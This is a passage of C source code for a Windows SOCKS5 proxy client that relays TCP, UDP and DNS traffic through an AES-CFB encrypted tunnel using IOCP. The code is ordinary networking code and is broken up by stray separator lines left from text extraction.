: BCryptDecrypt(s->hKey,in,inlen,NULL,s->iv,16,out,inlen,outlen,0);
|
||||
return st==0;
|
||||
}
|
||||
static int aes_cfb_one_shot(const uint8_t key[32], const uint8_t iv[16], BOOL enc,
|
||||
const uint8_t* in, size_t inlen, uint8_t* out) {
|
||||
BCRYPT_ALG_HANDLE hAlg=NULL; BCRYPT_KEY_HANDLE hKey=NULL; PUCHAR keyObj=NULL;
|
||||
DWORD keyObjLen=0,cb=0,olen=0; UCHAR ivtmp[16]; memcpy(ivtmp,iv,16);
|
||||
if (BCryptOpenAlgorithmProvider(&hAlg,BCRYPT_AES_ALGORITHM,NULL,0)) goto ERR;
|
||||
if (BCryptSetProperty(hAlg,BCRYPT_CHAINING_MODE,(PUCHAR)BCRYPT_CHAIN_MODE_CFB,(ULONG)sizeof(BCRYPT_CHAIN_MODE_CFB),0)) goto ERR;
|
||||
if (BCryptGetProperty(hAlg,BCRYPT_OBJECT_LENGTH,(PUCHAR)&keyObjLen,sizeof(DWORD),&cb,0)) goto ERR;
|
||||
keyObj=(PUCHAR)HeapAlloc(GetProcessHeap(),0,keyObjLen); if(!keyObj) goto ERR;
|
||||
if (BCryptGenerateSymmetricKey(hAlg,&hKey,keyObj,keyObjLen,(PUCHAR)key,32,0)) goto ERR;
|
||||
DWORD fb = 16; // **CFB128**
|
||||
if (BCryptSetProperty(hKey, BCRYPT_MESSAGE_BLOCK_LENGTH, (PUCHAR)&fb, sizeof(fb), 0)) goto ERR;
|
||||
NTSTATUS st = enc ? BCryptEncrypt(hKey,(PUCHAR)in,(ULONG)inlen,NULL,ivtmp,16,out,(ULONG)inlen,&olen,0)
|
||||
: BCryptDecrypt(hKey,(PUCHAR)in,(ULONG)inlen,NULL,ivtmp,16,out,(ULONG)inlen,&olen,0);
|
||||
if (st) goto ERR;
|
||||
if (hKey) BCryptDestroyKey(hKey); if (hAlg) BCryptCloseAlgorithmProvider(hAlg,0); if (keyObj) HeapFree(GetProcessHeap(),0,keyObj);
|
||||
return (int)olen;
|
||||
ERR:
|
||||
if (hKey) BCryptDestroyKey(hKey); if (hAlg) BCryptCloseAlgorithmProvider(hAlg,0); if (keyObj) HeapFree(GetProcessHeap(),0,keyObj);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// -------------------- UDP map --------------------
|
||||
typedef struct {
|
||||
bool used; time_t ts; uint8_t key[128]; size_t key_len; struct sockaddr_storage client_ss; int client_len;
|
||||
} udp_map_entry_t;
|
||||
typedef struct udp_assoc_s {
|
||||
struct bridge_s* owner; SOCKET fd; struct sockaddr_storage remote_ss; int remote_len; uint8_t key32[32];
|
||||
udp_map_entry_t map[UDP_MAP_CAP]; struct sockaddr_storage last_client; int last_client_len; bool has_last; HANDLE timer;
|
||||
} udp_assoc_t;
|
||||
static int udp_map_find(udp_assoc_t* ua, const uint8_t* k, size_t klen) {
|
||||
for (int i=0;i<UDP_MAP_CAP;++i) if (ua->map[i].used && ua->map[i].key_len==klen && memcmp(ua->map[i].key,k,klen)==0) return i; return -1;
|
||||
}
|
||||
static int udp_map_alloc_slot(udp_assoc_t* ua) {
|
||||
for (int i=0;i<UDP_MAP_CAP;++i) if (!ua->map[i].used) return i;
|
||||
time_t oldest=time(NULL); int idx=0; for(int i=0;i<UDP_MAP_CAP;++i){ if(ua->map[i].ts<oldest){oldest=ua->map[i].ts; idx=i; } } return idx;
|
||||
}
|
||||
|
||||
// -------------------- IOCP infra --------------------
|
||||
typedef enum { OP_ACCEPT, OP_CLI_RECV, OP_CLI_SEND, OP_SRV_RECV, OP_SRV_SEND, OP_CONNECT } OPKIND;
|
||||
typedef enum { ST_GREETING=0, ST_REQUEST=1, ST_CONNECTING_REMOTE=2, ST_STREAM=3, ST_UDP_ASSOC=4, ST_CLOSED=5 } bridge_state_t;
|
||||
|
||||
typedef struct IO_OP { OVERLAPPED ol; OPKIND kind; WSABUF buf; char* storage; DWORD cap; } IO_OP;
|
||||
static IO_OP* op_alloc(OPKIND k, DWORD cap){ IO_OP* op=(IO_OP*)calloc(1,sizeof(IO_OP)); if(!op) return NULL; op->kind=k; op->cap=cap; if(cap){ op->storage=(char*)_aligned_malloc(cap,64); op->buf.buf=op->storage; op->buf.len=cap; } return op; }
|
||||
static void op_free(IO_OP* op){ if(!op) return; if(op->storage) _aligned_free(op->storage); free(op); }
|
||||
|
||||
// Extension functions
|
||||
static LPFN_ACCEPTEX pAcceptEx = NULL;
|
||||
static LPFN_CONNECTEX pConnectEx = NULL;
|
||||
static LPFN_GETACCEPTEXSOCKADDRS pGetAcceptExSockaddrs = NULL;
|
||||
|
||||
static BOOL get_ext_fns(SOCKET s) {
|
||||
DWORD r=0; GUID g1=WSAID_ACCEPTEX, g2=WSAID_CONNECTEX, g3=WSAID_GETACCEPTEXSOCKADDRS;
|
||||
if (WSAIoctl(s, SIO_GET_EXTENSION_FUNCTION_POINTER, &g1, sizeof(g1), &pAcceptEx, sizeof pAcceptEx, &r, NULL, NULL)) return FALSE;
|
||||
if (WSAIoctl(s, SIO_GET_EXTENSION_FUNCTION_POINTER, &g2, sizeof(g2), &pConnectEx, sizeof pConnectEx, &r, NULL, NULL)) return FALSE;
|
||||
if (WSAIoctl(s, SIO_GET_EXTENSION_FUNCTION_POINTER, &g3, sizeof(g3), &pGetAcceptExSockaddrs, sizeof pGetAcceptExSockaddrs, &r, NULL, NULL)) return FALSE;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// -------------------- DNS cache & codec --------------------
|
||||
typedef struct { bool used; time_t expire; char host[64]; char ip[16]; } dns_cache_entry_t;
|
||||
typedef struct { dns_cache_entry_t tab[DNS_CACHE_SIZE]; } dns_cache_t;
|
||||
static void dns_cache_init(dns_cache_t* c){ memset(c,0,sizeof(*c)); }
|
||||
static const char* dns_cache_get(dns_cache_t *c, const char *host) {
|
||||
time_t now=time(NULL);
|
||||
for (size_t i=0;i<DNS_CACHE_SIZE;++i) if (c->tab[i].used && strcmp(c->tab[i].host,host)==0) {
|
||||
if (c->tab[i].expire>now) return c->tab[i].ip; c->tab[i].used=false;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
static void dns_cache_put(dns_cache_t *c, const char *host, const char *ip, int ttl_sec) {
|
||||
time_t now=time(NULL); size_t slot=DNS_CACHE_SIZE; time_t oldest=now;
|
||||
for (size_t i=0;i<DNS_CACHE_SIZE;++i){ if(!c->tab[i].used){slot=i;break;} if(c->tab[i].expire<oldest){oldest=c->tab[i].expire; slot=i;} }
|
||||
if (slot>=DNS_CACHE_SIZE) slot=0;
|
||||
dns_cache_entry_t* e=&c->tab[slot];
|
||||
e->used=true; e->expire=now+ttl_sec;
|
||||
strncpy(e->host,host,sizeof(e->host)-1); e->host[sizeof(e->host)-1]=0;
|
||||
strncpy(e->ip,ip,sizeof(e->ip)-1); e->ip[sizeof(e->ip)-1]=0;
|
||||
}
|
||||
|
||||
// DNS build/parse
|
||||
static int dns_build_query(const char *host, uint8_t *out, size_t cap, size_t *outlen, uint16_t *out_id) {
|
||||
if (!host || !out || cap < 12) return -1;
|
||||
uint16_t id; BCryptGenRandom(NULL,(PUCHAR)&id,sizeof(id),BCRYPT_USE_SYSTEM_PREFERRED_RNG); *out_id=id;
|
||||
size_t off=0; uint16_t flags=htons(0x0100); uint16_t qd=htons(1),an=0,ns=0,ar=0;
|
||||
*(uint16_t*)(out+off)=htons(id); off+=2;
|
||||
*(uint16_t*)(out+off)=flags; off+=2;
|
||||
*(uint16_t*)(out+off)=qd; off+=2;
|
||||
*(uint16_t*)(out+off)=an; off+=2;
|
||||
*(uint16_t*)(out+off)=ns; off+=2;
|
||||
*(uint16_t*)(out+off)=ar; off+=2;
|
||||
const char *p=host, *dot=NULL;
|
||||
while (*p) {
|
||||
dot=strchr(p,'.'); size_t lab_len= dot ? (size_t)(dot-p) : strlen(p);
|
||||
if (lab_len==0 || lab_len>63) return -1;
|
||||
if (off+1+lab_len>=cap) return -1;
|
||||
out[off++]=(uint8_t)lab_len; memcpy(out+off,p,lab_len); off+=lab_len;
|
||||
if (!dot) break; p=dot+1;
|
||||
}
|
||||
if (off+1+4>cap) return -1;
|
||||
out[off++]=0; *(uint16_t*)(out+off)=htons(1); off+=2; *(uint16_t*)(out+off)=htons(1); off+=2;
|
||||
*outlen=off; return 0;
|
||||
}
|
||||
static int dns_skip_name(const uint8_t *buf, size_t len, size_t *off) {
|
||||
size_t i=*off;
|
||||
while (i<len) {
|
||||
uint8_t c=buf[i++]; if ((c&0xC0)==0xC0){ if(i>=len) return -1; i++; break; }
|
||||
else if (c==0) break; else { if (i+c>len) return -1; i+=c; }
|
||||
}
|
||||
*off=i; return 0;
|
||||
}
|
||||
static int dns_parse_a(const uint8_t *buf, size_t len, char *ip_str, size_t ip_cap) {
|
||||
if (len<12) return -1;
|
||||
uint16_t qd = ntohs(*(const uint16_t*)(buf+4));
|
||||
uint16_t an = ntohs(*(const uint16_t*)(buf+6));
|
||||
size_t off=12;
|
||||
for (uint16_t i=0;i<qd;++i){ if(dns_skip_name(buf,len,&off)!=0) return -1; if(off+4>len) return -1; off+=4; }
|
||||
for (uint16_t i=0;i<an;++i){
|
||||
if (dns_skip_name(buf,len,&off)!=0) return -1;
|
||||
if (off+10>len) return -1;
|
||||
uint16_t type=ntohs(*(const uint16_t*)(buf+off)); off+=2;
|
||||
uint16_t class_=ntohs(*(const uint16_t*)(buf+off)); off+=2;
|
||||
off+=4; uint16_t rdlen=ntohs(*(const uint16_t*)(buf+off)); off+=2;
|
||||
if (off+rdlen>len) return -1;
|
||||
if (type==1 && class_==1 && rdlen==4) {
|
||||
IN_ADDR a4; memcpy(&a4,buf+off,4);
|
||||
const char* ret = InetNtopA(AF_INET,&a4,ip_str,(socklen_t)ip_cap);
|
||||
return ret ? 0 : -1;
|
||||
}
|
||||
off+=rdlen;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
// -------------------- Bridge (per-connection) --------------------
|
||||
typedef struct bridge_s {
|
||||
config_t* cfg;
|
||||
SOCKET cli_fd, srv_fd;
|
||||
bridge_state_t state;
|
||||
dynbuf_t cli_in, srv_in;
|
||||
socks5_req_t req;
|
||||
uint8_t key32[32];
|
||||
AES_CFB up_enc; BOOL up_ready;
|
||||
AES_CFB down_dec; BOOL down_ready;
|
||||
uint8_t iv_server[16]; size_t iv_have;
|
||||
struct udp_assoc_s* udp_assoc;
|
||||
|
||||
dns_cache_t dns_cache;
|
||||
|
||||
volatile LONG closing; // 0=open, 1=closing
|
||||
volatile LONG pending_ops; // outstanding I/O counter
|
||||
volatile LONG freed; // 0->1 ensure free once
|
||||
} bridge_t;
|
||||
|
||||
static void bridge_free_crypto(bridge_t* b){ if(b->up_ready){aes_cfb_free(&b->up_enc); b->up_ready=FALSE;} if(b->down_ready){aes_cfb_free(&b->down_dec); b->down_ready=FALSE;} }
|
||||
|
||||
static void bridge_really_free(bridge_t* b){
|
||||
if(!b) return;
|
||||
if (InterlockedCompareExchange(&b->freed, 1, 0) != 0) return; // ensure once
|
||||
LOGI("bridge %p free", b);
|
||||
if(b->udp_assoc){
|
||||
if (b->udp_assoc->timer) DeleteTimerQueueTimer(NULL,b->udp_assoc->timer,INVALID_HANDLE_VALUE);
|
||||
if (b->udp_assoc->fd!=INVALID_SOCKET) CLOSESOCK(b->udp_assoc->fd);
|
||||
free(b->udp_assoc); b->udp_assoc=NULL;
|
||||
}
|
||||
if(b->cli_fd!=INVALID_SOCKET){CLOSESOCK(b->cli_fd); b->cli_fd=INVALID_SOCKET;}
|
||||
if(b->srv_fd!=INVALID_SOCKET){CLOSESOCK(b->srv_fd); b->srv_fd=INVALID_SOCKET;}
|
||||
bridge_free_crypto(b);
|
||||
dbuf_free(&b->cli_in); dbuf_free(&b->srv_in);
|
||||
free(b);
|
||||
}
|
||||
static void bridge_try_free(bridge_t* b){
|
||||
if (!b) return;
|
||||
if (b->closing && InterlockedCompareExchange(&b->pending_ops, 0, 0)==0){
|
||||
bridge_really_free(b);
|
||||
}
|
||||
}
|
||||
static void bridge_start_close(bridge_t* b){
|
||||
if (!b) return;
|
||||
if (InterlockedCompareExchange(&b->closing, 1, 0)!=0) return; // only once
|
||||
LOGI("bridge %p start_close (pending_ops=%ld)", b, InterlockedCompareExchange(&b->pending_ops,0,0));
|
||||
if (b->cli_fd!=INVALID_SOCKET){ CancelIoEx((HANDLE)b->cli_fd, NULL); shutdown(b->cli_fd, SD_BOTH); }
|
||||
if (b->srv_fd!=INVALID_SOCKET){ CancelIoEx((HANDLE)b->srv_fd, NULL); shutdown(b->srv_fd, SD_BOTH); }
|
||||
bridge_try_free(b);
|
||||
}
|
||||
|
||||
// -------------------- UDP assoc helpers --------------------
|
||||
typedef struct udp_assoc_s udp_assoc_t;
|
||||
static VOID CALLBACK udp_map_cleaner_cb(PVOID param, BOOLEAN fired) {
|
||||
(void)fired;
|
||||
udp_assoc_t* ua=(udp_assoc_t*)param; if(!ua) return;
|
||||
time_t now=time(NULL); int cleared=0;
|
||||
for (int i=0;i<UDP_MAP_CAP;++i) if (ua->map[i].used && now - ua->map[i].ts > ua->owner->cfg->udp_timeout) { ua->map[i].used=false; ++cleared; }
|
||||
if (cleared && g_log_level>=2) LOGD("udp_assoc %p expired %d map entries", ua, cleared);
|
||||
}
|
||||
static udp_assoc_t* udp_assoc_create(bridge_t* b) {
|
||||
udp_assoc_t* ua=(udp_assoc_t*)calloc(1,sizeof(*ua)); if(!ua) return NULL;
|
||||
ua->owner=b; ua->fd=WSASocket(AF_INET,SOCK_DGRAM,IPPROTO_UDP,NULL,0,0); if(ua->fd==INVALID_SOCKET){free(ua); return NULL;}
|
||||
SOCKADDR_IN sin; ZeroMemory(&sin,sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=htons(0); InetPtonA(AF_INET,b->cfg->listen_host,&sin.sin_addr);
|
||||
if (bind(ua->fd,(SOCKADDR*)&sin,sizeof(sin))!=0){CLOSESOCK(ua->fd); free(ua); return NULL;}
|
||||
struct sockaddr_storage ss; int sslen=0; if(!resolve_host_port(b->cfg->remote_host,(uint16_t)b->cfg->remote_port,&ss,&sslen)){CLOSESOCK(ua->fd); free(ua); return NULL;}
|
||||
ua->remote_ss=ss; ua->remote_len=sslen; memcpy(ua->key32,b->key32,32);
|
||||
CreateTimerQueueTimer(&ua->timer,NULL,udp_map_cleaner_cb,ua,5000,5000,WT_EXECUTEDEFAULT);
|
||||
LOGI("UDP_ASSOC created socket=%llu", (unsigned long long)ua->fd);
|
||||
return ua;
|
||||
}
|
||||
static bool udp_parse_client_packet(const uint8_t* buf,size_t len,size_t *addr_off,size_t *payload_off){
|
||||
if(len<3) return false; if(buf[0]!=0||buf[1]!=0||buf[2]!=0) return false; size_t off=3;
|
||||
if(len<off+1) return false; uint8_t atyp=buf[off++];
|
||||
if(atyp==0x01){ if(len<off+4+2) return false; off+=4+2; }
|
||||
else if(atyp==0x03){ if(len<off+1) return false; uint8_t l=buf[off++]; if(len<off+l+2) return false; off+=l+2; }
|
||||
else if(atyp==0x04){ if(len<off+16+2) return false; off+=16+2; }
|
||||
else return false; *addr_off=3; *payload_off=off; return true;
|
||||
}
|
||||
static bool udp_clone_addr_block(const uint8_t* buf,size_t addr_off,size_t payload_off,uint8_t* out,size_t* outlen){
|
||||
size_t n=payload_off-addr_off; if(n>128) return false; memcpy(out,buf+addr_off,n); *outlen=n; return true;
|
||||
}
|
||||
static void udp_sendto_remote(udp_assoc_t* ua,const void* data,size_t len){
|
||||
sendto(ua->fd,(const char*)data,(int)len,0,(SOCKADDR*)&ua->remote_ss,ua->remote_len);
|
||||
}
|
||||
static void udp_poll_once(udp_assoc_t* ua) {
|
||||
if (!ua) return;
|
||||
u_long nb=1; ioctlsocket(ua->fd, FIONBIO, &nb);
|
||||
for (;;) {
|
||||
uint8_t buf[8192];
|
||||
SOCKADDR_STORAGE from; int fromlen = sizeof(from);
|
||||
int n = recvfrom(ua->fd, (char*)buf, (int)sizeof(buf), 0, (SOCKADDR*)&from, &fromlen);
|
||||
if (n < 0) { int e=WSAGetLastError(); if (e==WSAEWOULDBLOCK) break; else { LOGE("udp recvfrom error=%d", e); break; } }
|
||||
bool from_remote = false;
|
||||
if (from.ss_family == ua->remote_ss.ss_family) {
|
||||
if (from.ss_family == AF_INET) {
|
||||
SOCKADDR_IN *a=(SOCKADDR_IN*)&from, *b=(SOCKADDR_IN*)&ua->remote_ss;
|
||||
from_remote = (a->sin_port==b->sin_port && a->sin_addr.S_un.S_addr==b->sin_addr.S_un.S_addr);
|
||||
} else if (from.ss_family == AF_INET6) {
|
||||
SOCKADDR_IN6 *a=(SOCKADDR_IN6*)&from, *b=(SOCKADDR_IN6*)&ua->remote_ss;
|
||||
from_remote = (a->sin6_port==b->sin6_port && memcmp(&a->sin6_addr,&b->sin6_addr,sizeof(a->sin6_addr))==0);
|
||||
}
|
||||
}
|
||||
if (from_remote) {
|
||||
if (n < 16) continue;
|
||||
const uint8_t* iv = buf;
|
||||
const uint8_t* ct = buf + 16; size_t ctlen = (size_t)n - 16;
|
||||
uint8_t plain[8192];
|
||||
int m = aes_cfb_one_shot(ua->key32, iv, FALSE, ct, ctlen, plain);
|
||||
if (m <= 0) continue;
|
||||
|
||||
size_t off = 0; if (m < 1) continue;
|
||||
uint8_t atyp = plain[off++];
|
||||
if (atyp == 0x01) off += 4 + 2;
|
||||
else if (atyp == 0x03) { if (off >= (size_t)m) continue; uint8_t l=plain[off++]; off += l + 2; }
|
||||
else if (atyp == 0x04) off += 16 + 2;
|
||||
else continue;
|
||||
if ((size_t)m < off) continue;
|
||||
size_t addrlen = off; size_t payload_len = (size_t)m - off;
|
||||
|
||||
int idx = udp_map_find(ua, plain, addrlen);
|
||||
SOCKADDR_STORAGE dst; int dstlen = 0;
|
||||
if (idx >= 0) { dst = ua->map[idx].client_ss; dstlen = ua->map[idx].client_len; }
|
||||
else if (ua->has_last) { dst = ua->last_client; dstlen = ua->last_client_len; }
|
||||
else continue;
|
||||
|
||||
uint8_t out[8192];
|
||||
size_t outlen = 3 + addrlen + payload_len;
|
||||
if (outlen > sizeof(out)) continue;
|
||||
out[0] = 0; out[1] = 0; out[2] = 0;
|
||||
memcpy(out + 3, plain, addrlen);
|
||||
memcpy(out + 3 + addrlen, plain + addrlen, payload_len);
|
||||
sendto(ua->fd, (const char*)out, (int)outlen, 0, (SOCKADDR*)&dst, dstlen);
|
||||
} else {
|
||||
size_t addr_off=0, payload_off=0;
|
||||
if (!udp_parse_client_packet(buf, (size_t)n, &addr_off, &payload_off)) continue;
|
||||
|
||||
uint8_t keybuf[128]; size_t klen=0;
|
||||
if (!udp_clone_addr_block(buf, addr_off, payload_off, keybuf, &klen)) continue;
|
||||
int idx = udp_map_find(ua, keybuf, klen);
|
||||
if (idx < 0) idx = udp_map_alloc_slot(ua);
|
||||
ua->map[idx].used = true; ua->map[idx].ts = time(NULL);
|
||||
memcpy(ua->map[idx].key, keybuf, klen); ua->map[idx].key_len = klen;
|
||||
ua->map[idx].client_ss = from; ua->map[idx].client_len = fromlen;
|
||||
ua->last_client = from; ua->last_client_len = fromlen; ua->has_last = true;
|
||||
|
||||
uint8_t iv[16]; rand_bytes(iv, 16);
|
||||
const uint8_t* plain = buf + 3;
|
||||
size_t plain_len = (size_t)n - 3;
|
||||
uint8_t ct[8192];
|
||||
int m = aes_cfb_one_shot(ua->key32, iv, TRUE, plain, plain_len, ct);
|
||||
if (m <= 0) continue;
|
||||
|
||||
uint8_t out[8192];
|
||||
if ((size_t)m + 16 > sizeof(out)) continue;
|
||||
memcpy(out, iv, 16);
|
||||
memcpy(out + 16, ct, m);
|
||||
udp_sendto_remote(ua, out, (size_t)m + 16);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// -------------------- server env --------------------
|
||||
typedef struct { HANDLE iocp; SOCKET listen_fd; config_t cfg; } server_env_t;
|
||||
static server_env_t g_env;
|
||||
|
||||
// -------------------- TCP helpers + post wrappers --------------------
|
||||
typedef struct IO_OP IO_OP;
|
||||
static void set_tcp_opts(SOCKET s){ int on=1,sz=1<<18; setsockopt(s,IPPROTO_TCP,TCP_NODELAY,(char*)&on,sizeof(on)); setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char*)&sz,sizeof(sz)); setsockopt(s,SOL_SOCKET,SO_RCVBUF,(char*)&sz,sizeof(sz)); }
|
||||
|
||||
static IO_OP* post_recv_(bridge_t* b, SOCKET s, OPKIND kind, DWORD cap){
|
||||
if (!b || b->closing) return NULL; // 关闭中不再投递
|
||||
IO_OP* op=op_alloc(kind,cap);
|
||||
DWORD flags=0,recvd=0;
|
||||
int r=WSARecv(s,&op->buf,1,&recvd,&flags,&op->ol,NULL);
|
||||
int e=(r!=0)?WSAGetLastError():0;
|
||||
if(r!=0 && e!=WSA_IO_PENDING){ LOGD("WSARecv kind=%d err=%d", (int)kind, e); op_free(op); return NULL; }
|
||||
InterlockedIncrement(&b->pending_ops);
|
||||
LOGD("post RECV kind=%d cap=%lu (pending_ops=%ld)", (int)kind, (unsigned long)cap, InterlockedCompareExchange(&b->pending_ops,0,0));
|
||||
return op;
|
||||
}
|
||||
static IO_OP* post_send_(bridge_t* b, SOCKET s, OPKIND kind, const void* data, size_t len){
|
||||
if (!b || b->closing) return NULL; // 关闭中不再投递
|
||||
IO_OP* op=op_alloc(kind,(DWORD)len); memcpy(op->storage,data,len);
|
||||
DWORD sent=0;
|
||||
int r=WSASend(s,&op->buf,1,&sent,0,&op->ol,NULL);
|
||||
int e=(r!=0)?WSAGetLastError():0;
|
||||
if(r!=0 && e!=WSA_IO_PENDING){ LOGD("WSASend kind=%d err=%d", (int)kind, e); op_free(op); return NULL; }
|
||||
InterlockedIncrement(&b->pending_ops);
|
||||
LOGD("post SEND kind=%d len=%zu (pending_ops=%ld)", (int)kind, len, InterlockedCompareExchange(&b->pending_ops,0,0));
|
||||
return op;
|
||||
}
|
||||
|
||||
// forward decl
|
||||
static bool connect_remote_async(bridge_t* b);
|
||||
static void after_remote_connected(bridge_t* b);
|
||||
|
||||
// -------------------- CONNECT & STREAM --------------------
|
||||
static void after_remote_connected(bridge_t* b){
|
||||
LOGI("remote connected, sending IV + addr+mx");
|
||||
|
||||
dynbuf_t ab; dbuf_init(&ab);
|
||||
if(!encode_addr(b->req.atyp,b->req.host,b->req.port,&ab,true)){ socks5_send_reply_log(b->cli_fd,0x04,"0.0.0.0",0); dbuf_free(&ab); bridge_start_close(b); return; }
|
||||
size_t mx_len=strlen(b->cfg->mx_head); if(mx_len>255){ dbuf_free(&ab); bridge_start_close(b); return; }
|
||||
uint8_t ml=(uint8_t)mx_len; dbuf_append(&ab,&ml,1); dbuf_append(&ab,b->cfg->mx_head,mx_len);
|
||||
|
||||
uint8_t iv[16]; rand_bytes(iv,16); aes_cfb_init(&b->up_enc,b->key32,iv); b->up_ready=TRUE;
|
||||
|
||||
uint8_t* ct=(uint8_t*)malloc(ab.len);
|
||||
ULONG m=0; aes_cfb_update(&b->up_enc,TRUE,(PUCHAR)ab.data,(ULONG)ab.len,ct,&m);
|
||||
uint8_t* pkt=(uint8_t*)malloc(16+m); memcpy(pkt,iv,16); memcpy(pkt+16,ct,m);
|
||||
post_send_(b, b->srv_fd, OP_SRV_SEND, pkt, 16+m);
|
||||
|
||||
socks5_send_reply_log(b->cli_fd,0x00,"0.0.0.0",0);
|
||||
|
||||
free(ct); free(pkt); dbuf_free(&ab);
|
||||
b->state=ST_STREAM;
|
||||
post_recv_(b, b->cli_fd, OP_CLI_RECV, b->cfg->recv_buf);
|
||||
post_recv_(b, b->srv_fd, OP_SRV_RECV, b->cfg->recv_buf);
|
||||
LOGI("enter STREAM (+posted cli/srv recv)");
|
||||
}
|
||||
|
||||
static bool connect_remote_async(bridge_t* b){
|
||||
b->srv_fd=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,WSA_FLAG_OVERLAPPED); if(b->srv_fd==INVALID_SOCKET){ LOGE("WSASocket for remote failed"); return false; }
|
||||
CreateIoCompletionPort((HANDLE)b->srv_fd,g_env.iocp,(ULONG_PTR)b,0);
|
||||
SOCKADDR_IN l; ZeroMemory(&l,sizeof(l)); l.sin_family=AF_INET; bind(b->srv_fd,(SOCKADDR*)&l,sizeof(l));
|
||||
struct sockaddr_storage ss; int sslen=0; if(!resolve_host_port(b->cfg->remote_host,(uint16_t)b->cfg->remote_port,&ss,&sslen)) return false;
|
||||
IO_OP* op=op_alloc(OP_CONNECT,0);
|
||||
DWORD bytes=0;
|
||||
LOGI("ConnectEx to remote server %s:%u", b->cfg->remote_host, (unsigned)b->cfg->remote_port);
|
||||
BOOL ok=pConnectEx(b->srv_fd,(SOCKADDR*)&ss,sslen,NULL,0,&bytes,&op->ol);
|
||||
int e = ok?0:WSAGetLastError();
|
||||
if(!ok && e!=ERROR_IO_PENDING){ LOGE("ConnectEx err=%d", e); op_free(op); return false; }
|
||||
InterlockedIncrement(&b->pending_ops);
|
||||
b->state=ST_CONNECTING_REMOTE; return true;
|
||||
}
|
||||
|
||||
// -------------------- DNS over tunnel (sync) --------------------
|
||||
static bool start_dns_over_tunnel_sync(bridge_t* b, const char* host) {
|
||||
const char* cached = dns_cache_get(&b->dns_cache, host);
|
||||
if (cached) {
|
||||
LOGI("DNS cache hit: %s -> %s", host, cached);
|
||||
strncpy(b->req.host, cached, sizeof(b->req.host)-1); b->req.atyp=0x01;
|
||||
return connect_remote_async(b);
|
||||
}
|
||||
uint8_t q[512]; size_t qlen=0; uint16_t qid=0;
|
||||
if (dns_build_query(host, q, sizeof(q), &qlen, &qid) != 0) { LOGE("dns_build_query failed for %s", host); return false; }
|
||||
|
||||
dynbuf_t ab; dbuf_init(&ab);
|
||||
if (!encode_addr(0x01, "8.8.8.8", 53, &ab, false)) { dbuf_free(&ab); LOGE("encode_addr for DNS failed"); return false; }
|
||||
size_t plain_len = ab.len + qlen; uint8_t* plain = (uint8_t*)malloc(plain_len);
|
||||
memcpy(plain, ab.data, ab.len); memcpy(plain+ab.len, q, qlen);
|
||||
|
||||
uint8_t iv[16]; rand_bytes(iv,16);
|
||||
uint8_t ct[1024]; int m = aes_cfb_one_shot(b->key32, iv, TRUE, plain, plain_len, ct);
|
||||
if (m <= 0) { free(plain); dbuf_free(&ab); LOGE("dns encrypt failed"); return false; }
|
||||
uint8_t out[1024]; memcpy(out, iv, 16); memcpy(out+16, ct, m);
|
||||
|
||||
SOCKET us = WSASocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL, 0, 0); if (us==INVALID_SOCKET){ free(plain); dbuf_free(&ab); LOGE("udp socket for DNS failed"); return false; }
|
||||
struct sockaddr_storage r; int rlen=0; if(!resolve_host_port(b->cfg->remote_host,(uint16_t)b->cfg->remote_port,&r,&rlen)){ CLOSESOCK(us); free(plain); dbuf_free(&ab); return false; }
|
||||
int to_ms = b->cfg->connect_timeout*1000; setsockopt(us,SOL_SOCKET,SO_RCVTIMEO,(char*)&to_ms,sizeof(to_ms));
|
||||
|
||||
LOGI("DNS over tunnel: %s -> 8.8.8.8:53 (qid=0x%04x), sending %d bytes", host, qid, 16+m);
|
||||
int sret = sendto(us,(const char*)out,16+m,0,(SOCKADDR*)&r,rlen);
|
||||
if (sret<0){ int e=WSAGetLastError(); LOGE("DNS sendto err=%d", e); CLOSESOCK(us); free(plain); dbuf_free(&ab); return false; }
|
||||
|
||||
uint8_t rbuf[2048]; SOCKADDR_STORAGE from; int fromlen=sizeof(from);
|
||||
int n = recvfrom(us,(char*)rbuf,(int)sizeof(rbuf),0,(SOCKADDR*)&from,&fromlen);
|
||||
if (n <= 0) { int e=WSAGetLastError(); LOGE("DNS recvfrom timeout/err=%d", e); CLOSESOCK(us); free(plain); dbuf_free(&ab); return false; }
|
||||
|
||||
LOGI("DNS over tunnel: received %d bytes", n);
|
||||
if (n < 16) { CLOSESOCK(us); free(plain); dbuf_free(&ab); LOGE("DNS resp too short"); return false; }
|
||||
uint8_t plain2[2048];
|
||||
int m2 = aes_cfb_one_shot(b->key32, rbuf, FALSE, rbuf+16, (size_t)n-16, plain2);
|
||||
if (m2 <= 0) { CLOSESOCK(us); free(plain); dbuf_free(&ab); LOGE("DNS decrypt failed"); return false; }
|
||||
|
||||
size_t off = 0; if (m2 < 1) { CLOSESOCK(us); free(plain); dbuf_free(&ab); return false; }
|
||||
uint8_t atyp = plain2[off++];
|
||||
if (atyp == 0x01) off += 4 + 2;
|
||||
else if (atyp == 0x03) { if (off >= (size_t)m2) { CLOSESOCK(us); free(plain); dbuf_free(&ab); return false; } uint8_t l=plain2[off++]; off += l + 2; }
|
||||
else if (atyp == 0x04) off += 16 + 2;
|
||||
else { CLOSESOCK(us); free(plain); dbuf_free(&ab); return false; }
|
||||
if ((size_t)m2 <= off) { CLOSESOCK(us); free(plain); dbuf_free(&ab); return false; }
|
||||
|
||||
char ip[INET_ADDRSTRLEN];
|
||||
if (dns_parse_a(plain2 + off, (size_t)m2 - off, ip, sizeof(ip)) != 0) {
|
||||
LOGE("DNS parse A failed for %s", host);
|
||||
CLOSESOCK(us); free(plain); dbuf_free(&ab); return false;
|
||||
}
|
||||
LOGI("DNS over tunnel OK: %s -> %s", host, ip);
|
||||
dns_cache_put(&b->dns_cache, host, ip, 300);
|
||||
strncpy(b->req.host, ip, sizeof(b->req.host)-1); b->req.atyp=0x01;
|
||||
|
||||
CLOSESOCK(us); free(plain); dbuf_free(&ab);
|
||||
return connect_remote_async(b);
|
||||
}
|
||||
|
||||
// -------------------- handlers --------------------
|
||||
static void handle_greeting(bridge_t* b, const uint8_t* p, size_t n) {
|
||||
size_t consumed=0;
|
||||
int r = parse_socks5_greeting(p, n, &consumed);
|
||||
